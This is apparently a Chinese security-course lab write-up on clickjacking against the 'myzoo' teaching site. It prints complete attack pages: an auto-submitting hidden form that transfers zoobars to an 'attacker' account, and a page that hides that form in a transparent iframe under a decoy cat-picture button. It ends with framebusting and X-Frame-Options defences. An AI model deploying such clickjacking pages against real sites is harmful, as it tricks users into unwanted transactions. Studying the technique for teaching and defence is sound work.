@windmelon
2018-12-31T20:02:24.000000Z
字数 3134
阅读 1490
信息安全实验
clickjacking(点击劫持)是通过在页面上覆盖一层透明的iframe,诱导用户点击网页,实际上点击的是透明的iframe,从而达到一些攻击的目的,原理十分简单
本次实验依然使用myzoo,通过构建一个clickjacking网站偷取用户zoobar
Ubuntu 16.04 虚拟机
FireFox 浏览器
1.html
<html>
<head>
</head>
<body>
<form method=POST name=transferform
action="http://www.myzoo.com/transfer.php" id="form">
<input name=zoobars type=hidden value="2">
<input name=recipient type=hidden value="attacker">
<input type=hidden name=submission value="Send">
</form>
</body>
<script>
var form = document.getElementById('form');
form.submit();
</script>
</html>
通过一次失败的CSRF攻击可以让iframe跳转到zoobar的转账页面,同时自动填写好转账给谁和转账的zoobar数目
2.html
<!DOCTYPE html>
<html>
<head>
<style>
html,body{
top: -0px;
left: -0px;
display: block;
height: 50%;
width: 100%;
}
iframe{
top:200px;
left:500px;
width: 1000px;
height: 500px;
position: absolute;
z-index: 1;
-moz-opacity: 0;
opacity: 0;
filter: alpha(opacity=0);
}
#mybutton{
position:absolute;
z-index: 0;
top:480px;
left:880px;
pointer-events:none;
}
#mybutton2{
position:absolute;
top:-1px;
left:-1px;
}
img{
position:absolute;
top:200px;
left:800px;
}
</style>
</head>
<body>
<img src="1.jpg" height=200 width=250 id="myimage"></img>
<iframe src = "1.html" id="myframe" ></iframe>
<button id="mybutton" onclick=Try()>Try!</button>
<button id="mybutton2" onclick=showframe()>showframe</button>
</body>
<script type="text/javascript">
function Try(){
document.getElementById('mybutton').style.pointerEvents='none';
var element = document.getElementById('myimage');
var src = Math.round(Math.random()*6+1);
src = src+".jpg";
element.src = src;
}
function showframe(){
var opacity = document.getElementById('myframe').style.opacity;
if(opacity>0) document.getElementById('myframe').style.opacity = 0;
else document.getElementById('myframe').style.opacity = 0.2;
}
function delayRun(code,time) {
var t=setTimeout(code,time);
}
var myConfObj = {
iframeMouseOver : false
}
var count = 0;
window.addEventListener('blur',function(){
if(myConfObj.iframeMouseOver){
//alert("frame clicked!");
count++;
//alert("count = 2!");
document.getElementById('myframe').style.zIndex=-1;
delayRun("document.getElementById('mybutton').style.pointerEvents='auto';",100);
//document.getElementById('mybutton').style.pointerEvents="auto";
}
});
document.getElementById('myframe').addEventListener('mouseover',function(){
myConfObj.iframeMouseOver = true;
});
document.getElementById('myframe').addEventListener('mouseout',function(){
myConfObj.iframeMouseOver = false;
});
</script>
</html>
界面是这样
点击Try按钮,可以随机切换猫咪图片
但其实背后是这样的
点击的逻辑是这样的:
1. 第一次点击Try,此时Try为不可点击状态,实际上点击的是iframe的send,完成一次转账,同时设置Try为可点击
2. 第二次点击Try,切换猫咪图片,同时设置Try为不可点击
3. 第三次点击Try,同第一次
通过这样,用户只会觉得button不是很灵敏,而不易察觉已被clickjacked,在不知不觉中将zoobar转给攻击者
Stanford大学曾经对美国各大网站的clickjacking防护代码进行了分析,最后推荐用以下代码对clickjacking进行防护
<html>
<title>
Framebust is not easy!
</title>
<style>body {display:none;}</style>
<body>
I'm not be framed!
<script>
if(self==top) {
document.getElementsByTagName("body")[0].style.display='block';
}
else{ top.location = self.location;}
</script>
</body>
</html>
根据新的浏览器标准,可以在服务器端进行防御,不允许非同源网站的iframe加载本网站的内容
配置 Apache 在所有页面上发送 X-Frame-Options 响应头,需要把下面这行添加到 'site' 的配置中:
Header always append X-Frame-Options SAMEORIGIN
php中,可以这样设置
<?php
header("X-Frame-Options:DENY");
?>